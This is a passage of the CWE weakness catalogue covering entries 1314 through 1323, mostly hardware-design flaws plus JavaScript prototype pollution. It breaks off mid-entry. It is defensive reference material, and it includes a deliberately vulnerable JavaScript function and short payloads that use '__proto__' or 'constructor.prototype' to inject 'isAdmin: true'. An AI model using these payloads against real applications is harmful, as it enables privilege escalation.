The limit values are generally programmed in standard units for the type of value being read. However, the hardware-sensor blocks may report the settings in different units depending upon sensor design and operation. The raw sensor output value is converted to the desired units using a scale conversion based on the parametric data programmed into the sensor. The final converted value is then compared with the previously programmed limits.

While the limit values are usually protected, the sensor parametric data values may not be. By changing the parametric data, safe operational limits may be bypassed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| ChildOf |  | 862 | Missing Authorization | 1615 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|--------|---|------|---|------|
| PeerOf |  | 1299 | Missing Protection Mechanism for Alternate Hardware Interface | 1943 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Sensor IP (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Availability | Quality Degradation DoS: Resource Consumption (Other) <i>Sensor value manipulation, particularly thermal or power, may allow physical damage to occur or disabling of the device by a false fault shutdown causing a Denial-Of-Service.</i> | High |

Potential Mitigations

Phase: Architecture and Design

Access controls for sensor blocks should ensure that only trusted software is allowed to change threshold limits and sensor parametric data.

Effectiveness = High

Demonstrative Examples

Example 1:

Malicious software executes instructions to increase power consumption to the highest possible level while causing the clock frequency to increase to its maximum value. Such a program executing for an extended period of time would likely overheat the device, possibly resulting in permanent damage to the device.

A ring, oscillator-based temperature sensor will generally report the sensed value as oscillator frequency rather than degrees centigrade. The temperature sensor will have calibration values that are used to convert the detected frequency into the corresponding temperature in degrees centigrade.

Consider a SoC design where the critical maximum temperature limit is set in fuse values to 100C and is not modifiable by software. If the scaled thermal sensor output equals or exceeds this limit, the system is commanded to shut itself down.

The thermal sensor calibration values are programmable through registers that are exposed to system software. These registers allow software to affect the converted temperature output such that the output will never exceed the maximum temperature limit.

Example Language: Other

(bad)

The sensor frequency value is scaled by applying the function:

$$\text{Sensed Temp} = a + b * \text{Sensor Freq}$$

where a and b are the programmable calibration data coefficients. Software sets a and b to zero ensuring the sensed temperature is always zero.

This weakness may be addressed by preventing access to a and b.

Example Language: Other

(good)

The sensor frequency value is scaled by applying the function:

$$\text{Sensed Temp} = a + b * \text{Sensor Freq}$$

where a and b are the programmable calibration data coefficients. Untrusted software is prevented from changing the values of either a or b, preventing this method of manipulating the temperature.

CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point

| | |
|---------------------------|----------------------------|
| Weakness ID : 1315 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The bus controller enables bits in the fabric end-point to allow responder devices to control transactions on the fabric.

Extended Description

To support reusability, certain fabric interfaces and end points provide a configurable register bit that allows IP blocks connected to the controller to access other peripherals connected to the fabric. This allows the end point to be used with devices that function as a controller or responder. If this bit is set by default in hardware, or if firmware incorrectly sets it later, a device intended to

be a responder on a fabric is now capable of controlling transactions to other devices and might compromise system security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Modify Memory Read Memory Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.

Phase: Implementation

For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.

Phase: System Configuration

For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.

Demonstrative Examples

Example 1:

A typical, phone platform consists of the main, compute core or CPU, a DRAM-memory chip, an audio codec, a baseband modem, a power-management-integrated circuit ("PMIC"), a connectivity (WiFi and Bluetooth) modem, and several other analog/RF components. The main CPU is the only component that can control transactions, and all the other components are responder-only devices. All the components implement a PCIe end-point to interface with the rest of the platform. The responder devices should have the bus-control-enable bit in the PCIe-end-point register set to 0 in hardware to prevent the devices from controlling transactions to the CPU or other peripherals.

The audio-codec chip does not have the bus-controller-enable-register bit hardcoded to 0. There is no platform-firmware flow to verify that the bus-controller-enable bit is set to 0 in all responders.

Audio codec can now master transactions to the CPU and other platform components. Potentially, it can modify assets in other platform components to subvert system security.

Platform firmware includes a flow to check the configuration of bus-controller-enable bit in all responder devices. If this register bit is set on any of the responders, platform firmware sets it to 0. Ideally, the default value of this register bit should be hardcoded to 0 in RTL. It should also have access control to prevent untrusted entities from setting this bit to become bus controllers.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges

| | |
|---------------------------|-----------------------|
| Weakness ID : 1316 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The address map of the on-chip fabric has protected and unprotected regions overlapping, allowing an attacker to bypass access control to the overlapping portion of the protected region.

Extended Description

Various ranges can be defined in the system-address map, either in the memory or in Memory-Mapped-IO (MMIO) space. These ranges are usually defined using special range registers that contain information, such as base address and size. Address decoding is the process of determining for which range the incoming transaction is destined. To ensure isolation, ranges containing secret data are access-control protected.

Occasionally, these ranges could overlap. The overlap could either be intentional (e.g. due to a limited number of range registers or limited choice in choosing size of the range) or unintentional (e.g. introduced by errors). Some hardware designs allow dynamic remapping of address ranges assigned to peripheral MMIO ranges. In such designs, intentional address overlaps can be created through misconfiguration by malicious software. When protected and unprotected ranges overlap, an attacker could send a transaction and potentially compromise the protections in place, violating the principle of least privilege.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | IP | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Bus/Interface IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Bypass Protection Mechanism | Medium |
| Integrity | Read Memory | |
| Access Control | Modify Memory | |
| Authorization | | |

Detection Methods

Automated Dynamic Analysis

Review address map in specification to see if there are any overlapping ranges.

Effectiveness = High

Manual Static Analysis

Negative testing of access control on overlapped ranges.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

When architecting the address map of the chip, ensure that protected and unprotected ranges are isolated and do not overlap. When designing, ensure that ranges hardcoded in Register-Transfer Level (RTL) do not overlap.

Phase: Implementation

Ranges configured by firmware should not overlap. If overlaps are mandatory because of constraints such as a limited number of registers, then ensure that no assets are present in the overlapped portion.

Phase: Testing

Validate mitigation actions with robust testing.

Demonstrative Examples

Example 1:

An on-chip fabric supports a 64KB address space that is memory-mapped. The fabric has two range registers that support creation of two protected ranges with specific size constraints--4KB, 8KB, 16KB or 32KB. Assets that belong to user A require 4KB, and those of user B require 20KB.

Registers and other assets that are not security-sensitive require 40KB. One range register is configured to program 4KB to protect user A's assets. Since a 20KB range cannot be created with the given size constraints, the range register for user B's assets is configured as 32KB. The rest of the address space is left as open. As a result, some part of untrusted and open-address space overlaps with user B range.

The fabric does not support least privilege, and an attacker can send a transaction to the overlapping region to tamper with user B data.

Since range B only requires 20KB but is allotted 32KB, there is 12KB of reserved space. Overlapping this region of user B data, where there are no assets, with the untrusted space will prevent an attacker from tampering with user B data.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-4419 | Attacker can modify MCHBAR register to overlap with an attacker-controlled region, which modification prevents the SENTER instruction from properly applying VT-d protection while a Measured Launch Environment is being launched. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4419 |

CWE-1317: Missing Security Checks in Fabric Bridge

| | |
|---------------------------|-----------------------|
| Weakness ID : 1317 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

A bridge that is connected to a fabric without security features forwards transactions to the slave without checking the privilege level of the master. Similarly, it does not check the hardware identity of the transaction received from the slave interface of the bridge.

Extended Description

In hardware designs, different IP blocks are connected through interconnect-bus fabrics (e.g. AHB and OCP). Within a System on Chip (SoC), the IP block subsystems could be using different bus protocols. In such a case, the IP blocks are then linked to the central bus (and to other IP blocks) through a fabric bridge. Bridges are used as bus-interconnect-routing modules that link different protocols or separate, different segments of the overall SoC interconnect.

For overall system security, it is important that the access-control privileges associated with any fabric transaction are consistently maintained and applied, even when they are routed or translated by a fabric bridge. A bridge that is connected to a fabric without security features forwards transactions to the slave without checking the privilege level of the master and results in a weakness in SoC access-control security. The same weakness occurs if a bridge does not check the hardware identity of the transaction received from the slave interface of the bridge.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------------------|------------|
| Confidentiality | DoS: Crash, Exit, or Restart | Medium |
| Integrity | Bypass Protection Mechanism | |
| Access Control | Read Memory | |
| Availability | Modify Memory | |

Detection Methods

Automated Dynamic Analysis

RTL simulation to ensure that bridge-access controls are implemented properly.

Effectiveness = High

Manual Static Analysis

Formal verification of bridge RTL to ensure that access control cannot be bypassed.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Design includes provisions for access-control checks in the bridge for both upstream and downstream transactions.

Phase: Implementation

Implement access-control checks in the bridge for both upstream and downstream transactions.

Demonstrative Examples

Example 1:

The iLPC2AHB bridge connects a CPU (with multiple, privilege levels, such as user, super user, debug, etc.) over AHB interface to an LPC bus. Several peripherals are connected to the LPC bus. The bridge is expected to check the privilege level of the transactions initiated in the core before forwarding them to the peripherals on the LPC bus.

The bridge does not implement the checks and allows reads and writes from all privilege levels.

To address this, designers should implement hardware-based checks that are either hardcoded to block untrusted agents from accessing secure peripherals or implement firmware flows that configure the bridge to block untrusted agents from making arbitrary reads or writes.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2019-6260 | Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6260 |

CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses

| | |
|---------------------------|----------------------------|
| Weakness ID : 1318 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

On-chip fabrics or buses either do not support or are not configured to support privilege separation or other security features, such as access control.

Extended Description

Certain on-chip fabrics and buses, especially simple and low-power buses, do not support security features. Apart from data transfer and addressing ports, some fabrics and buses do not have any interfaces to transfer privilege, immutable identity, or any other security attribute coming from the bus master. Similarly, they do not have dedicated signals to transport security-sensitive data from slave to master, such as completions for certain types of transactions. Few other on-chip fabrics

and buses support security features and define specific interfaces/signals for transporting security attributes from master to slave or vice-versa. However, including these signals is not mandatory and could be left unconfigured when generating the register-transfer-level (RTL) description for the fabric. Such fabrics or buses should not be used to transport any security attribute coming from the bus master. In general, peripherals with security assets should not be connected to such buses before the transaction from the bus master reaches the bus, unless some form of access control is performed at a fabric bridge or another intermediate module.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------------------|------------|
| Confidentiality | DoS: Crash, Exit, or Restart | Medium |
| Integrity | Read Memory | |
| Access Control | Modify Memory | |
| Availability | | |

Detection Methods

Architecture or Design Review

Review the fabric specification and ensure that it contains signals to transfer security-sensitive signals.

Effectiveness = High

Manual Static Analysis - Source Code

Lack of security features can also be confirmed through manual RTL review of the fabric RTL.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

If fabric does not support security features, implement security checks in a bridge or any component that is between the master and the fabric. Alternatively, connect all fabric slaves that do not have any security assets under one such fabric and connect peripherals with security assets to a different fabric that supports security features.

Demonstrative Examples

Example 1:

Several systems on chips (SoCs) use the Advanced-Microcontroller Bus Architecture (AMBA) Advanced-Peripheral Bus (APB) protocol. APB is a simple, low-power bus and uses the PPROT[2:0] bits to indicate the security state of the bus masters ;PPROT[0] indicates privilege, PPROT[1] indicates secure/non-secure transaction, and PPROT[2] indicates instruction/data. Assume that there is no fabric bridge in the SoC. One of the slaves, the power-management unit, contains registers that store the thermal-shutdown limits.

The APB bus is used to connect several bus masters, each with a unique and immutable hardware identity, to several slaves. For a CPU supporting 8 potential identities (each with varying privilege levels), 16 types of outgoing transactions can be made--8 read transactions with each supported privilege level and 8 write transactions with each supported privilege level.

Since APB PPROT can only support up to 8 transaction types, access-control checks cannot be performed on transactions going to the slaves at the right granularity for all possible transaction types. Thus, potentially, user code running on the CPU could maliciously corrupt the thermal-shutdown-configuration registers to burn the device, resulting in permanent denial of service.

In this scenario, only peripherals that need access protection from 8 of the 16 possible transaction types can be connected to the APB bus. Peripherals that require protection from the remaining 8 transaction types can be connected to a different APB bus. Alternatively, a bridge could be implemented to handle such complex scenarios before forwarding traffic to the APB bus.

Example 2:

The Open-Core-Protocol (OCP) fabric supports two configurable, width-optional signals for transporting security attributes: MReqInfo and SRespInfo. MReqInfo is used to transport security attributes from bus master to slave, and SRespInfo is used to transport security attributes from slave to bus master. An SoC uses OCP to connect several bus masters, each with a unique and immutable hardware identity, to several slaves. One of the bus masters, the CPU, reports the privilege level (user or super user) in addition to the unique identity. One of the slaves, the power-management unit, contains registers that store the thermal-shutdown limits.

Since MReqInfo and SRespInfo are not mandatory, these signals are not configured when autogenerating RTL for the OCP fabric. Thus, the fabric cannot be used to transport security attributes from bus masters to slave.

Code running at user-privilege level on the CPU could maliciously corrupt the thermal-shutdown-configuration registers to burn the device and cause permanent denial of service.

To address this, configure the fabric to include MReqInfo and SRespInfo signals and use these to transport security identity and privilege level to perform access-control checks at the slave interface.

CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI)

Weakness ID : 1319

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The device is susceptible to electromagnetic fault injection attacks, causing device internal information to be compromised or security mechanisms to be bypassed.

Extended Description

Electromagnetic fault injection may allow an attacker to locally and dynamically modify the signals (both internal and external) of an integrated circuit. EM-FI attacks consist of producing a local, transient magnetic field near the device, inducing current in the device wires. A typical EMFI setup is made up of a pulse injection circuit that generates a high current transient in an EMI coil, producing an abrupt magnetic pulse which couples to the target producing faults in the device, which can lead to:

- Bypassing security mechanisms such as secure JTAG or Secure Boot
- Leaking device information
- Modifying program flow
- Perturbing secure hardware modules (e.g. random number generators)

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | IP | 693 | Protection Mechanism Failure | 1384 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Technology : Microcontroller IP (*Prevalence = Undetermined*)

Technology : Memory IP (*Prevalence = Undetermined*)

Technology : Power Management IP (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Test/Debug IP (*Prevalence = Undetermined*)

Technology : Sensor IP (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | |
| Integrity | Read Memory | |
| Access Control | Gain Privileges or Assume Identity | |
| Availability | Bypass Protection Mechanism | |
| | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

1. Redundancy – By replicating critical operations and comparing the two outputs can help indicate whether a fault has been injected.
2. Error detection and correction codes - Gay, Mael, et al. proposed a new scheme that not only detects faults injected by a malicious adversary but also automatically corrects single nibble/byte errors introduced by low-multiplicity faults.
3. Fail by default coding - When checking conditions (switch or if) check all possible cases and fail by default because the default case in a switch (or the else part of a cascaded if-else-if construct) is used for dealing with the last possible (and valid) value without checking. This is prone to fault injection because this alternative is easily selected as a result of potential data manipulation [REF-1141].
4. Random Behavior - adding random delays before critical operations, so that timing is not predictable.
5. Program Flow Integrity Protection – The program flow can be secured by integrating run-time checking aiming at detecting control flow inconsistencies. One such example is tagging the source code to indicate the points not to be bypassed [REF-1147].
6. Sensors – Usage of sensors can detect variations in voltage and current.
7. Shields – physical barriers to protect the chips from malicious manipulation.

Demonstrative Examples

Example 1:

In many devices, security related information is stored in fuses. These fuses are loaded into shadow registers at boot time. Disturbing this transfer phase with EM-FI can lead to the shadow registers storing erroneous values potentially resulting in reduced security.

Colin O'Flynn has demonstrated an attack scenario which uses electro-magnetic glitching during booting to bypass security and gain read access to flash, read and erase access to shadow memory area (where the private password is stored). Most devices in the MPC55xx and MPC56xx series that include the Boot Assist Module (BAM) (a serial or CAN bootloader mode) are susceptible to this attack. In this paper, a GM ECU was used as a real life target. While the success rate appears low (less than 2 percent), in practice a success can be found within 1-5 minutes once the EMFI tool is setup. In a practical scenario, the author showed that success can be achieved within 30-60 minutes from a cold start.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|--|------|------|
| MemberOf |  | 1203 | Peripherals, On-chip Fabric, and Interface/IO Problems | 1194 | 2188 |

Notes

Maintenance

This entry is attack-oriented and may require significant modification in future versions, or even deprecation. It is not clear whether there is really a design "mistake" that enables such attacks, so this is not necessarily a weakness and may be more appropriate for CAPEC.

CWE-1320: Improper Protection for Out of Bounds Signal Level Alerts

Weakness ID : 1320

Status: Draft

Structure : Simple

Abstraction : Base

Description

Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts.

Extended Description

Hardware sensors are used to detect whether a device is operating within design limits. The threshold values for these limits are set by hardware fuses or trusted software such as a BIOS. Modification of these limits may be protected by hardware mechanisms.

When device sensors detect out of bound conditions, alert signals may be generated for remedial action, which may take the form of device shutdown or throttling.

Warning signals that are not properly secured may be disabled or used to generate spurious alerts, causing degraded performance or denial-of-service (DoS). These alerts may be masked by untrusted software. Examples of these alerts involve thermal and power sensor alerts.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Technology : Microcontroller IP (*Prevalence = Undetermined*)

Technology : Memory IP (*Prevalence = Undetermined*)

Technology : Power Management IP (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Test/Debug IP (*Prevalence = Undetermined*)

Technology : Sensor IP (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Instability DoS: Crash, Exit, or Restart Reduce Reliability Unexpected State | High |

Potential Mitigations

Phase: Architecture and Design

Alert signals generated by critical events should be protected from access by untrusted agents. Only hardware or trusted firmware modules should be able to alter the alert configuration.

Demonstrative Examples

Example 1:

Consider a platform design where a Digital-Thermal Sensor (DTS) is used to monitor temperature and compare that output against a threshold value. If the temperature output equals or exceeds the threshold value, the DTS unit sends an alert signal to the processor.

The processor, upon getting the alert, input triggers system shutdown. The alert signal is handled as a General-Purpose-I/O (GPIO) pin in input mode.

Example Language:

(bad)

The processor-GPIO controller exposes software-programmable controls that allow untrusted software to reprogram the state of the GPIO pin.

Reprogramming the state of the GPIO pin allows malicious software to trigger spurious alerts or to set the alert pin to a zero value so that thermal sensor alerts are not received by the processor.

Example Language:

(good)

The GPIO alert-signal pin is blocked from untrusted software access and is controlled only by trusted software, such as the System BIOS.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

| | |
|------------------------------|---------------------------|
| Weakness ID : 1321 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

Extended Description

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as `hasOwnProperty`, `toString` or `valueOf`).

This weakness is usually exploited by using a special attribute of objects called `proto`, `constructor` or `prototype`. Such attributes give access to the object prototype. This weakness is often found in code that assigns object attributes based on user input, or merges or clones objects recursively.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | C | 913 | Improper Control of Dynamically-Managed Code Resources | 1638 |

Applicable Platforms

Language : JavaScript (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Integrity | Modify Application Data <i>An attacker can inject attributes that are used in other components.</i> | High |
| Availability | DoS: Crash, Exit, or Restart <i>An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.</i> | High |

Potential Mitigations

Phase: Implementation

By freezing the object prototype first (for example, `Object.freeze(Object.prototype)`), modification of the prototype becomes impossible.

Effectiveness = High

While this can mitigate this weakness completely, other methods are recommended when possible, especially in components used by upstream software ("libraries").

Phase: Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as `proto` or `prototype`, this weakness can be mitigated.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation

When handling untrusted objects, validating using a schema can be used.

Effectiveness = Limited

Phase: Implementation

By using an object without prototypes (via `Object.create(null)`), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Effectiveness = High

Phase: Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

This function sets object attributes based on a dot-separated path.

Example Language: JavaScript

(bad)

```
function setValueByPath (object, path, value) {
  const pathArray = path.split(".");
  const attributeToSet = pathArray.pop();
  let objectToModify = object;
  for (const attr of pathArray) {
    if (typeof objectToModify[attr] !== 'object') {
      objectToModify[attr] = {};
    }
    objectToModify = objectToModify[attr];
  }
  objectToModify[attributeToSet] = value;
}
```

```
return object;
}
```

This function does not check if the attribute resolves to the object prototype. These codes can be used to add "isAdmin: true" to the object prototype.

Example Language: JavaScript

(bad)

```
setValueByPath({}, "__proto__.isAdmin", true)
setValueByPath({}, "constructor.prototype.isAdmin", true)
```

By using a denylist of dangerous attributes, this weakness can be eliminated.

Example Language: JavaScript

(good)

```
function setValueByPath (object, path, value) {
  const pathArray = path.split(".");
  const attributeToSet = pathArray.pop();
  let objectToModify = object;
  for (const attr of pathArray) {
    // Ignore attributes which resolve to object prototype
    if (attr === "__proto__" || attr === "constructor" || attr === "prototype") {
      continue;
    }
    if (typeof objectToModify[attr] !== "object") {
      objectToModify[attr] = {};
    }
    objectToModify = objectToModify[attr];
  }
  objectToModify[attributeToSet] = value;
  return object;
}
```

CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context**Weakness ID** : 1322**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

The product uses a non-blocking model that relies on a single threaded process for features such as scalability, but it contains code that can block when it is invoked.

Extended Description

When an attacker can directly invoke the blocking code, or the blocking code can be affected by environmental conditions that can be influenced by an attacker, then this can lead to a denial of service by causing unexpected hang or freeze of the code. Examples of blocking code might be an expensive computation or calling blocking library calls, such as those that perform exclusive file operations or require a successful network operation.

Due to limitations in multi-thread models, single-threaded models are used to overcome the resource constraints that are caused by using many threads. In such a model, all code should generally be non-blocking. If blocking code is called, then the event loop will effectively be stopped, which can be undesirable or dangerous. Such models are used in Python asyncio, Vert.x, and Node.js, or other custom event loop code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|--|------|
| ChildOf |  | 834 | Excessive Iteration | 1592 |
| CanPrecede |  | 835 | Loop with Unreachable Exit Condition ('Infinite Loop') | 1593 |

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Resource Consumption (CPU) <i>An unexpected call to blocking code can trigger an infinite loop, or a large loop that causes the software to pause and wait indefinitely.</i> | |

Potential Mitigations**Phase: Implementation**

Generally speaking, blocking calls should be replaced with non-blocking alternatives that can be used asynchronously. Expensive computations should be passed off to worker threads, although the correct approach depends on the framework being used.

Phase: Implementation

For expensive computations, consider breaking them up into multiple smaller computations. Refer to the documentation of the framework being used for guidance.

CWE-1323: Improper Management of Sensitive Trace Data

Weakness ID : 1323

Status: Draft

Structure : Simple

Abstraction : Base

Description

Trace data collected from several sources on the System-on-Chip (SoC) is stored in unprotected locations or transported to untrusted agents.

Extended Description

To facilitate verification of complex System-on-Chip (SoC) designs, SoC integrators add specific IP blocks that trace the SoC's internal signals in real-time. This infrastructure enables observability of the SoC's internal behavior, validation of its functional design, and detection of hardware and software bugs. Such tracing IP blocks collect traces from several sources on the SoC including the CPU, crypto coprocessors, and on-chip fabrics. Traces collected from these sources are then aggregated inside trace IP block and forwarded to trace sinks, such as debug-trace ports that facilitate debugging by external hardware and software debuggers.

Since these traces are collected from several security-sensitive sources, they must be protected against untrusted debuggers. If they are stored in unprotected memory, an untrusted software debugger can access these traces and extract secret information. Additionally, if security-sensitive traces are not tagged as secure, an untrusted hardware debugger might access them to extract confidential information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Memory | |
| | <i>An adversary can read secret values if they are captured in debug traces and stored unsafely.</i> | |

Potential Mitigations

Phase: Implementation

Tag traces to indicate owner and debugging privilege level (designer, OEM, or end user) needed to access that trace.

Demonstrative Examples

Example 1:

